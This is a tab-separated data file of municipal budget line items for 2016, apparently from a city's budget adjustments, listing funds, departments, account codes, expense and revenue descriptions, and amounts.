20699	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408020.0	TRAFFIC CONTROL	612.0	Charges for Service	2016	-3000	0	0	0	0	0	0	0	0	0	0	0	-3000
20700	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-7891	0	0	0	0	0	0	0	0	0	0	0	-7891
20701	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20702	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-3778	0	0	0	0	0	0	0	0	0	0	0	-3778
20703	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2016	-7801	0	0	0	0	0	0	0	0	0	0	0	-7801
20704	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2016	-8390	0	0	0	0	0	0	0	0	0	0	0	-8390
20705	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2016	-6006	0	0	0	0	0	0	0	0	0	0	0	-6006
20706	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2016	-2293	0	0	0	0	0	0	0	0	0	0	0	-2293
20707	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400923.0	SPC ADMIN SU05	610.0	Intergovernmental	2016	-22388	0	0	0	0	0	0	0	0	0	0	0	-22388
20708	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400883.0	SPC HAP SU05	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20709	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2016	11146	0	0	0	0	0	0	0	0	0	0	0	11146
20710	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 FSS ADMIN	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20711	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2016	884254	0	0	0	0	0	0	0	0	0	0	0	884254
20712	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		YEAR-END CASH OUTS	816.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20713	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2016	22940	0	0	0	0	0	0	0	0	0	0	0	22940
20714	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	403721.0	SERIAL INEBRIATE GRANT LEASING	610.0	Intergovernmental	2016	-356349	0	0	0	0	0	0	0	0	0	0	0	-356349
20715	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522540.0	ADVERTISING	816.0	 Supplies and Expenses	2016	5000	0	0	0	0	0	0	0	0	0	0	0	5000
20716	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	578330.0	PORTABLE ADMIN FEES	816.0	 Supplies and Expenses	2016	8000	0	0	0	0	0	0	0	0	0	0	0	8000
20717	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	122561	0	0	0	0	0	0	0	0	0	0	0	122561
20718	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511774.0	RETIREMENT - AS NEEDED		Salaries and Wages	2016	1171	0	0	0	0	0	0	0	0	0	0	0	1171
20719	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522620.0	RENT	844.0	 Supplies and Expenses	2016	51527	0	0	0	0	0	0	0	0	0	0	0	51527
20720	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2016	8370	0	0	0	0	0	0	0	0	0	0	0	8370
20721	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2016	831	0	0	0	0	0	0	0	0	0	0	0	831
20722	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	533030.0	PROPERTY INSURANCE	854.0	 Supplies and Expenses	2016	63665	0	0	0	0	0	0	0	0	0	0	0	63665
20723	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 FSS ADMIN	610.0	Intergovernmental	2016	-64741	0	0	0	0	0	0	0	0	0	0	0	-64741
20724	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 PORT IN	610.0	Intergovernmental	2016	-20436	0	0	0	0	0	0	0	0	0	0	0	-20436
20725	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400882.0	SPC HAP TRA	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20726	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2016	2500	0	0	0	0	0	0	0	0	0	0	0	2500
20727	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 ADMIN	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20728	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2016	238728	0	0	0	0	0	0	0	0	0	0	0	238728
20729	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2016	100813	0	0	0	0	0	0	0	0	0	0	0	100813
20730	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		UNEMPLOYMENT	816.0	Salaries and Wages	2016	5693	0	0	0	0	0	0	0	0	0	0	0	5693
20731	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		DCAP	816.0	Salaries and Wages	2016	934	0	0	0	0	0	0	0	0	0	0	0	934
20732	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522720.0	MILEAGE	816.0	 Supplies and Expenses	2016	1400	0	0	0	0	0	0	0	0	0	0	0	1400
20733	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2016	6000	0	0	0	0	0	0	0	0	0	0	0	6000
20734	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2016	2000	0	0	0	0	0	0	0	0	0	0	0	2000
20735	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2016	24944	0	0	0	0	0	0	0	0	0	0	0	24944
20736	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2016	6727	0	0	0	0	0	0	0	0	0	0	0	6727
20737	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2016	111609	0	0	0	0	0	0	0	0	0	0	0	111609
20738	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409043.0	ELEM SPORTS-SPRING	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20739	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	540590.0	EMPLOYEE RECOGNITION & APPRECI	810.0	 Supplies and Expenses	2016	270	0	0	0	0	0	0	0	0	0	0	0	270
20740	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		EAP		Salaries and Wages	2016	638	0	0	0	0	0	0	0	0	0	0	0	638
20741	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2016	7269	0	0	0	0	0	0	0	0	0	0	0	7269
20742	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522720.0	MILEAGE	820.0	 Supplies and Expenses	2016	519	0	0	0	0	0	0	0	0	0	0	0	519
20743	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	8936	0	0	0	0	0	0	0	0	0	0	0	8936
20744	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2016	1030	0	0	0	0	0	0	0	0	0	0	0	1030
20745	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400881.0	SPC HAP SU02	610.0	Intergovernmental	2016	-85461	0	0	0	0	0	0	0	0	0	0	0	-85461
20746	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	533030.0	PROPERTY INSURANCE	808.0	 Supplies and Expenses	2016	64652	0	0	0	0	0	0	0	0	0	0	0	64652
20747	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533030.0	PROPERTY INSURANCE	808.0	 Supplies and Expenses	2016	88609	0	0	0	0	0	0	0	0	0	0	0	88609
20748	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400394.0	HAP REVENUE - PORTS	610.0	Intergovernmental	2016	-333600	0	0	0	0	0	0	0	0	0	0	0	-333600
20749	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400925.0	SPC ADMIN NEW	610.0	Intergovernmental	2016	-20167	0	0	0	0	0	0	0	0	0	0	0	-20167
20750	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	403720.0	SERIAL INEBRIATE GRANT ADMIN	610.0	Intergovernmental	2016	-24944	0	0	0	0	0	0	0	0	0	0	0	-24944
20751	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400885.0	SPC HAP NEW	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20752	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400921.0	SPC ADMIN SU02	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20753	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400925.0	SPC ADMIN NEW	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20754	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511490.0	OVERTIME	816.0	Salaries and Wages	2016	385	0	0	0	0	0	0	0	0	0	0	0	385
20755	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 FRAUD RECOVERY	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20756	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511500.0	TEMPORARY EMPLOYEES	816.0	Salaries and Wages	2016	26630	0	0	0	0	0	0	0	0	0	0	0	26630
20757	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511749.0	VISION	816.0	Salaries and Wages	2016	1931	0	0	0	0	0	0	0	0	0	0	0	1931
20758	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		UNEMPLOYMENT	808.0	Salaries and Wages	2016	2024	0	0	0	0	0	0	0	0	0	0	0	2024
20759	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2016	3500	0	0	0	0	0	0	0	0	0	0	0	3500
20760	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511749.0	VISION	804.0	Salaries and Wages	2016	887	0	0	0	0	0	0	0	0	0	0	0	887
20761	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2016	3294	0	0	0	0	0	0	0	0	0	0	0	3294
20762	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		DCAP	804.0	Salaries and Wages	2016	430	0	0	0	0	0	0	0	0	0	0	0	430
20763	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522720.0	MILEAGE	804.0	 Supplies and Expenses	2016	1128	0	0	0	0	0	0	0	0	0	0	0	1128
20764	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	93998	0	0	0	0	0	0	0	0	0	0	0	93998
20765	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	1956	0	0	0	0	0	0	0	0	0	0	0	1956
20766	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	2050	0	0	0	0	0	0	0	0	0	0	0	2050
20767	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2016	-3680	0	0	0	0	0	0	0	0	0	0	0	-3680
20768	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-15683	0	0	0	0	0	0	0	0	0	0	0	-15683
20769	BA	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577723.0	CDBG - RESIDENTIAL REHAB PROG		 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20770	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409032.0	CAMP SM-SPRING	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20771	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409050.0	MIDDLE SCHOOL SPORTS	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20772	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402780.0	CASKET SALES	650.0	Charges for Service	2016	-104317	0	0	0	0	0	0	0	0	0	0	0	-104317
20773	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556130.0	SOLD CASKETS	808.0	 Supplies and Expenses	2016	53040	0	0	0	0	0	0	0	0	0	0	0	53040
20774	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556170.0	SOLD FLOWERS	808.0	 Supplies and Expenses	2016	11220	0	0	0	0	0	0	0	0	0	0	0	11220
20775	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556190.0	MISC SERVICES/SALES	808.0	 Supplies and Expenses	2016	35060	0	0	0	0	0	0	0	0	0	0	0	35060
20776	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	120620	0	0	0	0	0	0	0	0	0	0	0	120620
20777	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2016	6969	0	0	0	0	0	0	0	0	0	0	0	6969
20778	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		EAP	804.0	Salaries and Wages	2016	632	0	0	0	0	0	0	0	0	0	0	0	632
20779	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2016	1530	0	0	0	0	0	0	0	0	0	0	0	1530
20780	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2016	6811	0	0	0	0	0	0	0	0	0	0	0	6811
20781	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2016	131	0	0	0	0	0	0	0	0	0	0	0	131
20782	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2016	39130	0	0	0	0	0	0	0	0	0	0	0	39130
20783	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	395202	0	0	0	0	0	0	0	0	0	0	0	395202
20784	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2016	10200	0	0	0	0	0	0	0	0	0	0	0	10200
20785	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	578670.0	COORDINATED COMMUNITY OUTREACH	804.0	 Supplies and Expenses	2016	162395	0	0	0	0	0	0	0	0	0	0	0	162395
20786	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	561504.0	SERIAL INEBRIATE PROG-HAP	816.0	 Supplies and Expenses	2016	356349	0	0	0	0	0	0	0	0	0	0	0	356349
20787	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571120.0	S+C HAP TRA	816.0	 Supplies and Expenses	2016	1470740	0	0	0	0	0	0	0	0	0	0	0	1470740
20788	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571130.0	S+C HAP SUO5	816.0	 Supplies and Expenses	2016	319830	0	0	0	0	0	0	0	0	0	0	0	319830
20789	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511748.0	DENTAL	816.0	Salaries and Wages	2016	15147	0	0	0	0	0	0	0	0	0	0	0	15147
20790	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		EAP	816.0	Salaries and Wages	2016	1376	0	0	0	0	0	0	0	0	0	0	0	1376
20791	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EAP	808.0	Salaries and Wages	2016	425	0	0	0	0	0	0	0	0	0	0	0	425
20792	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522310.0	OFFICE SUPPLIES / EXPENSES	816.0	 Supplies and Expenses	2016	10000	0	0	0	0	0	0	0	0	0	0	0	10000
20793	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2016	47000	0	0	0	0	0	0	0	0	0	0	0	47000
20794	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	563254	0	0	0	0	0	0	0	0	0	0	0	563254
20795	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2016	185829	0	0	0	0	0	0	0	0	0	0	0	185829
20796	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	10550	0	0	0	0	0	0	0	0	0	0	0	10550
20797	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	5310	0	0	0	0	0	0	0	0	0	0	0	5310
20798	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	85650	0	0	0	0	0	0	0	0	0	0	0	85650
20799	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		DCAP	804.0	Salaries and Wages	2016	216	0	0	0	0	0	0	0	0	0	0	0	216
20800	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2016	1334	0	0	0	0	0	0	0	0	0	0	0	1334
20801	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2016	202097	0	0	0	0	0	0	0	0	0	0	0	202097
20802	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	560060.0	UNIFORMS AND MAINTENANCE		 Supplies and Expenses	2016	11088	0	0	0	0	0	0	0	0	0	0	0	11088
20803	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	560060.0	UNIFORMS AND MAINTENANCE		 Supplies and Expenses	2016	36960	0	0	0	0	0	0	0	0	0	0	0	36960
20804	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-8661	0	0	0	0	0	0	0	0	0	0	0	-8661
20805	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-39285	0	0	0	0	0	0	0	0	0	0	0	-39285
20806	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-39425	0	0	0	0	0	0	0	0	0	0	0	-39425
20807	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-11183	0	0	0	0	0	0	0	0	0	0	0	-11183
20808	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2016	-63137	0	0	0	0	0	0	0	0	0	0	0	-63137
20809	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2016	-215614	0	0	0	0	0	0	0	0	0	0	0	-215614
20810	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2016	-32333	0	0	0	0	0	0	0	0	0	0	0	-32333
20811	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400924.0	SPC ADMIN EXPANSION	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20812	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2016	19888	0	0	0	0	0	0	0	0	0	0	0	19888
20813	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 PORT IN ADMIN	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20814	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
20815	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522620.0	RENT	816.0	 Supplies and Expenses	2016	183977	0	0	0	0	0	0	0	0	0	0	0	183977
20816	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577040.0	AUDIT FEES	816.0	 Supplies and Expenses	2016	7000	0	0	0	0	0	0	0	0	0	0	0	7000
20817	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	812.0	 Supplies and Expenses	2016	13000	0	0	0	0	0	0	0	0	0	0	0	13000
20818	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-7246	0	0	0	0	0	0	0	0	0	0	0	-7246
20819	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	13260	0	0	0	0	0	0	0	0	0	0	0	13260
20820	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2016	1142	0	0	0	0	0	0	0	0	0	0	0	1142
20821	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2016	21930	0	0	0	0	0	0	0	0	0	0	0	21930
20822	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2016	1713	0	0	0	0	0	0	0	0	0	0	0	1713
20823	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2016	12462	0	0	0	0	0	0	0	0	0	0	0	12462
20824	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	510000.0	SALARIES AND WAGES	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20825	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511774.0	RETIREMENT - AS NEEDED	816.0	Salaries and Wages	2016	999	0	0	0	0	0	0	0	0	0	0	0	999
20826	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555110.0	LEGAL EXPENSE	816.0	 Supplies and Expenses	2016	4000	0	0	0	0	0	0	0	0	0	0	0	4000
20827	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577341.0	SECT 8 HSG-PORTS	816.0	 Supplies and Expenses	2016	98000	0	0	0	0	0	0	0	0	0	0	0	98000
